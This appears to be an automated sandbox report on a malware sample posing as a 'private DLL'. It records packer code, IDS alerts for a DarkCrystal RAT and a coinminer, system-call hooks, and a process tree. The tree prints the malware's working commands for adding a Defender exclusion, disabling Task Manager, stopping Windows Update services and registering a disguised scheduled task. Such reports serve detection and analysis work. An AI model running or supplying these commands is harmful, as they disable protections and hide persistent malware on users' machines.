CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	0331ca1875ee1266bf09953125b712b1

Entrypoint Preview

Instruction
pushad
mov esi, 0042D015h
lea edi, dword ptr [esi-0002C015h]
push edi
or ebp, FFFFFFFFh
jmp 00007F38BCC6A9C2h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F38BCC6A99Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F38BCC6A9BDh
jne 00007F38BCC6A9DAh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F38BCC6A9D1h
dec eax
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F38BCC6A986h
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F38BCC6AA04h
xor ecx, ecx
sub eax, 03h
jc 00007F38BCC6A9C3h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F38BCC6AA27h
sar eax, 1
mov ebp, eax
jmp 00007F38BCC6A9BDh
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F38BCC6A97Eh
inc ecx
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F38BCC6A970h
add ebx, ebx
jne 00007F38BCC6A9B9h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F38BCC6A9A1h
jne 00007F38BCC6A9BBh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F38BCC6A996h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [eax+eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7627d4	0x118	.rsrc
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x759000	0x97d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
0	0x1000	0x2c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
VyCxe	0x2d000	0x72c000	0x72bc00	d4b04e79e6484abb2a63eb948d899d48	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x759000	0xa000	0x9a00	0fad61f4873fbeca68543a116405fe6a	False	0.6449624594155844	data	6.591003767892076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x75926c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	0.47832369942196534
RT_ICON	0x7597d8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	0.5410649819494585
RT_ICON	0x75a084	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	0.4933368869936034
RT_ICON	0x75af30	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	0.5390070921985816
RT_ICON	0x75b39c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	0.41393058161350843
RT_ICON	0x75c448	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	0.3479253112033195
RT_ICON	0x75e9f4	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9809269502193401
RT_RCDATA	0x1a74c	0x1fa101	empty	0
RT_RCDATA	0x214850	0x538657	data	0.9822969436645508
RT_RCDATA	0x74cea8	0xa2	data	1.0679012345679013
RT_GROUP_ICON	0x76276c	0x68	data	0.7019230769230769

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess
shlwapi.dll	PathFindFileNameA
user32.dll	LoadIconA

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T13:41:33.872716+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49888	37.44.238.250	80	TCP
2025-01-13T13:42:25.314532+0100	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	192.168.2.4	49241	1.1.1.1	53	UDP
2025-01-13T13:42:27.409891+0100	2054247	ET MALWARE SilentCryptoMiner Agent Config Inbound	1	104.20.4.235	443	192.168.2.4	49927	TCP

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:42:25.314532042 CET	49241	53	192.168.2.4	1.1.1.1
Jan 13, 2025 13:42:25.322561026 CET	53	49241	1.1.1.1	192.168.2.4
Jan 13, 2025 13:42:26.415559053 CET	51677	53	192.168.2.4	1.1.1.1
Jan 13, 2025 13:42:26.422403097 CET	53	51677	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 13:42:25.314532042 CET	192.168.2.4	1.1.1.1	0x4316	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:26.415559053 CET	192.168.2.4	1.1.1.1	0xcae2	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 13:40:25.001884937 CET	1.1.1.1	192.168.2.4	0xa93d	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:40:25.001884937 CET	1.1.1.1	192.168.2.4	0xa93d	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:25.322561026 CET	1.1.1.1	192.168.2.4	0x4316	No error (0)	pool.hashvault.pro	192.248.189.11	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:25.322561026 CET	1.1.1.1	192.168.2.4	0x4316	No error (0)	pool.hashvault.pro	80.240.16.67	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:26.422403097 CET	1.1.1.1	192.168.2.4	0xcae2	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:26.422403097 CET	1.1.1.1	192.168.2.4	0xcae2	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Jan 13, 2025 13:42:26.422403097 CET	1.1.1.1	192.168.2.4	0xcae2	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	07:40:07
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AstralprivateDLL.exe.bin.exe"
Imagebase:	0x400000
File size:	68'917'713 bytes
MD5 hash:	C9F4668C97EB480751E1BBF6173FC4E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:40:10
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Local\Temp\Astral private DLL.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Astral private DLL.exe"
Imagebase:	0x160000
File size:	68'919'754 bytes
MD5 hash:	C28FADCE847B20E2442ABA2F2F9F5699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1728765563.0000000006653000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1729671319.000000000665D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 62%, ReversingLabs Detection: 43%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:40:11
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Local\Temp\twain_32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\twain_32.exe"
Imagebase:	0x7ff795970000
File size:	6'007'384 bytes
MD5 hash:	1FF26B7D334CD22E726CAF72A4208B96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:40:11
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:40:11
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:40:14
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe"
Imagebase:	0x320000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:40:16
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\containerperf\OHYKCXOXzFm1PCyBPS6uXfmto4OWxv9XE4FGIVj.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:40:16
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0xff0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:40:16
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Imagebase:	0x3a0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:40:16
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Imagebase:	0x7ff758520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff600290000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\containerperf\ServerComponenthostMonitorDll.exe
Wow64 process (32bit):	false
Commandline:	"C:\containerperf/ServerComponenthostMonitorDll.exe"
Imagebase:	0x220000
File size:	68'597'760 bytes
MD5 hash:	01287AA2A0B5D2178CB13C477A04DC21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000D.00000000.1791002299.0000000000222000.00000002.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\containerperf\ServerComponenthostMonitorDll.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\containerperf\ServerComponenthostMonitorDll.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff600290000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff600290000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff600290000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff600290000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff758520000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff7ae220000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#amvyyojjq#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:40:17
Start date:	13/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7d4a30000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:40:18
Start date:	13/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7d4a30000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:40:18
Start date:	13/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff7d4a30000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:40:18
Start date:	13/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff7d4a30000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:40:18
Start date:	13/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	07:40:20
Start date:	13/01/2025
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	07:40:24
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	07:40:25
Start date:	13/01/2025
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	07:40:28
Start date:	13/01/2025
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff622860000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:40:28
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
